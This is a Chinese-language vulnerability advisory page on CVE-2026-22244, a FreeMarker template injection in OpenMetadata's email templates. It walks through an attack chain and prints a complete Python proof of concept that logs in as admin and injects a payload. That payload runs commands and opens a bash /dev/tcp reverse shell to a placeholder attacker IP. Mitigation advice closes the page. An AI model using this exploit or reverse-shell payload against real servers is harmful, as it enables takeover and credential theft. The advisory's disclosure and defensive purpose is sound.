IPBUF安全漏洞报告
English
CVE-2026-22244 CVSS 7.2 高危

CVE-2026-22244 OpenMetadata FreeMarker SSTI远程代码执行漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-22244
漏洞类型
服务器端模板注入(SSTI)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
OpenMetadata

相关标签

服务器端模板注入SSTI远程代码执行RCEFreeMarkerOpenMetadataCVE-2026-22244高危漏洞邮件模板注入

漏洞概述

CVE-2026-22244是OpenMetadata平台中的一个高危安全漏洞,CVSS评分达到7.2分。该漏洞存在于OpenMetadata的邮件模板功能中,由于FreeMarker模板引擎未对用户输入进行充分的过滤和验证,导致存在服务器端模板注入(Server-Side Template Injection,SSTI)漏洞。攻击者可以通过构造恶意Payload注入到FreeMarker模板中,从而在服务器端执行任意代码,实现远程代码执行(RCE)。由于该漏洞的CVSS向量显示需要高权限认证(PR:H),因此攻击者需要具备OpenMetadata的管理员权限才能成功利用此漏洞。一旦成功利用,攻击者可以在受影响的服务器上执行任意系统命令,获取服务器完全控制权,可能导致数据泄露、系统被完全入侵等严重后果。OpenMetadata作为一个统一的元数据平台,广泛应用于企业数据治理和元数据管理场景,因此该漏洞对企业数据安全构成严重威胁。建议受影响的用户尽快升级到1.11.4或更高版本以修复此漏洞。

技术细节

该漏洞的核心原理是服务器端模板注入(SSTI)。OpenMetadata使用FreeMarker作为邮件模板引擎,当管理员配置或发送邮件通知时,系统会将用户可控的输入嵌入到FreeMarker模板中进行处理。攻击者通过在模板中注入FreeMarker模板语法(如${7*7}或<#assign ex='freemarker.template.utility.Execute'?new()(${cmd})/>),可以在服务器端执行任意代码。FreeMarker模板引擎支持多种内置方法和类,攻击者可以利用这些功能执行系统命令。例如,通过注入<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}可以执行系统命令获取当前用户信息。攻击成功的关键条件包括:1)攻击者需要拥有OpenMetadata的管理员权限;2)能够访问邮件模板配置功能;3)目标服务器运行在Linux/Unix系统上(命令执行payload针对Linux)。利用该漏洞,攻击者可以读取敏感配置文件、SSH密钥、数据库凭证等,进而横向移动或持久化控制。修复方案主要是在模板处理前对用户输入进行严格的过滤和转义,或使用更安全的模板隔离机制。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标OpenMetadata实例版本,确认版本低于1.11.4,并探测邮件模板配置功能
STEP 2
步骤2:获取管理员权限
通过暴力破解、社工或利用其他漏洞获取OpenMetadata管理员账户凭据
STEP 3
步骤3:构造恶意Payload
构造FreeMarker SSTI Payload,如<#assign ex="freemarker.template.utility.Execute"?new()>${ex("command")}
STEP 4
步骤4:注入邮件模板
使用管理员权限访问邮件模板配置接口,将恶意Payload注入到模板的description或template字段中
STEP 5
步骤5:触发模板解析
当系统处理邮件通知时,FreeMarker引擎解析注入的模板,执行其中嵌入的恶意代码
STEP 6
步骤6:建立持久化控制
通过反弹Shell或下载后门程序,建立持久化的远程访问通道
STEP 7
步骤7:横向移动
利用获得的服务器权限,读取敏感配置、数据库凭证,横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22244 OpenMetadata SSTI RCE PoC # Author: Security Research # Target: OpenMetadata < 1.11.4 # Requirement: Admin privileges import requests import json import sys TARGET_URL = "http://target:8585" # Change to target URL USERNAME = "admin" # Change to admin username PASSWORD = "admin" # Change to admin password ATTACKER_IP = "attacker_ip" # Change to attacker IP ATTACKER_PORT = "4444" # Change to listener port def login(): """Authenticate to OpenMetadata and get session token""" session = requests.Session() login_url = f"{TARGET_URL}/api/v1/users/login" data = { "username": USERNAME, "password": PASSWORD } headers = {"Content-Type": "application/json"} response = session.post(login_url, json=data, headers=headers, verify=False) if response.status_code == 200: return session, response.json().get("accessToken") else: print(f"[-] Login failed: {response.text}") sys.exit(1) def exploit_ssti(session, token): """Inject SSTI payload via email template configuration""" # Reverse shell payload for Linux payload = f'<#assign ex="freemarker.template.utility.Execute"?new()>${{ex("bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1")}}' # Alternative: Execute id command to verify RCE test_payload = '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}' # Target endpoint for email template configuration template_url = f"{TARGET_URL}/api/v1/email/events" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malicious template data exploit_data = { "name": "MaliciousTemplate", "description": test_payload, "template": payload } print(f"[*] Sending SSTI payload to {template_url}") response = session.post(template_url, json=exploit_data, headers=headers, verify=False) if response.status_code in [200, 201]: print("[+] SSTI payload sent successfully!") print(f"[*] Check your listener on {ATTACKER_IP}:{ATTACKER_PORT}") return True else: print(f"[-] Exploitation failed: {response.text}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-22244 OpenMetadata SSTI RCE Exploit") print("=" * 60) session, token = login() print("[+] Login successful!") exploit_ssti(session, token)

影响范围

OpenMetadata < 1.11.4

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1)禁用邮件通知功能或限制邮件模板的使用;2)严格限制管理员账户数量,并对所有管理员账户启用多因素认证(MFA);3)在负载均衡器或WAF层面配置规则,过滤包含FreeMarker特征字符的请求(如${、<#、?new()等);4)限制邮件模板配置API的网络访问,仅允许受信任的IP地址访问;5)启用详细的审计日志,监控邮件模板的创建和修改行为;6)考虑使用独立的邮件服务,隔离OpenMetadata与生产环境的直接连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表